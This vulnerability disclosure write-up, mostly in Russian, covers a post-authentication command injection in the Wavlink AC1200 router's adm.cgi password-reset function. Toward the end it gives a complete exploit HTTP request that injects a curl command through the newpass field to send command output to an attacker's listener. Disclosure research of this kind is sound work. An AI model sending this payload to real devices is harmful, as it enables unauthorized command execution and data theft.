
Wavlink AC1200 with firmware versions M32A3_V1410_230602 and M32A3_V1410_240222 are vulnerable to a post-authentication command injection while resetting the password. This vulnerability is specifically found within the "set_sys_adm" function of the "adm.cgi" binary, and is due to improper santization of the user provided "newpass" field.
В ходе недавнего исследования безопасности маршрутизатора Wavlink AC1200 (Модель: WL-WN532A3) была выявлена уязвимость внедрения команд после аутентификации в конечной точке "/cgi-bin/adm.cgi". Эта уязвимость может позволить злоумышленникам, скомпрометировавшим учетные данные маршрутизатора, выполнять произвольные команды оболочки. На данный момент ожидается присвоение номера CVE для этой уязвимости.
После получения маршрутизатора Wavlink AC1200 загруженная прошивка была идентифицирована как 'M32A3_V1410_230602'. Однако эта конкретная версия прошивки не была доступна на официальном сайте поддержки Wavlink. Wavlink предоставил только одну версию прошивки — M32A3_V1410_240222, которая примерно на восемь месяцев новее. В ходе анализа было решено исследовать более новую доступную прошивку, одновременно пытаясь эксплуатировать уязвимости в старой версии, чтобы подтвердить, затрагивают ли выявленные уязвимости обе версии прошивки. Это также позволило избежать необходимости ручного извлечения прошивки с устройства. Извлечение корневой файловой системы было выполнено просто с помощью функции извлечения 'binwalk'. Прошивка M32A3_V1410_240222 доступна для скачивания по следующей ссылке: https://docs.wavlink.xyz/Firmware/fm-532a3/

Первоначальное исследование было сосредоточено на выявлении поверхности атаки для внедрения команд. Хотя было много вызовов system, popen и различных импортированных вспомогательных функций для выполнения системных команд, многие из них были просто вызовами готовых bash-скриптов, в которые внедрение было невозможно. Однако один вызов system в функции set_sys_adm внутри /etc_ro/lighttpd/www/cgi-bin/adm.cgi сразу вызвал подозрения при первом взгляде из-за передачи массива символов, отформатированного с помощью sprintf. При более детальном рассмотрении было установлено, что функция пытается очистить ввод предоставленного пользователем пароля, проверяя наличие символа ;. Однако эта очистка не учитывает другие методы внедрения команд.
На изображении ниже показан дизассемблированный код set_sys_adm. Некоторые имена переменных были изменены для облегчения анализа этой функции. Из изображения видно, что функция получает поле password из веб-запроса в строке 40, затем проверяет, что оно не равно NULL, не содержит точку с запятой (;) и не совпадает с ранее сохраненным паролем (строки 58–60). Затем это значение передается в вызов sprintf, который формирует команду вида: echo "<username>:<password>" > /etc/lighttpd.user. Эта отформатированная строка немедленно передается в вызов system.

Это была отличная находка, но нужно было выяснить, откуда эта уязвимость может быть доступна через веб-портал. Быстро было определено, что эта функция вызывается при сбросе пароля со страницы "Login Password".

После идентификации этой веб-страницы HTTP POST запрос был перехвачен с помощью Burp Suite. Запрос выглядит следующим образом:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=12980
Accept-Encoding: gzip, deflate, br
Cookie: session=420022404
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello&NEWPASS2=hellohello
Теперь, поняв уязвимость внедрения команд и определив, откуда она доступна, настало время попытаться ее эксплуатировать. Следующий запрос был отправлен, чтобы заставить маршрутизатор выполнить curl-запрос к netcat-слушателю, одновременно извлекая данные через поле User-Agent. Команда до URL-кодирования и помещения в запрос выглядит так: curl http://192.168.1.6:4567/ -A $(pwd). Команда, помещенная в HTTP POST запрос, выглядит следующим образом:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=76755
Accept-Encoding: gzip, deflate, br
Cookie: session=1783394974
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello\"+%26%26+curl+http%3a//192.168.1.6%3a4567+-A+$(pwd)&NEWPASS2=hellohello
После отправки запроса мы получаем подтверждение, что уязвимость эксплуатируема.
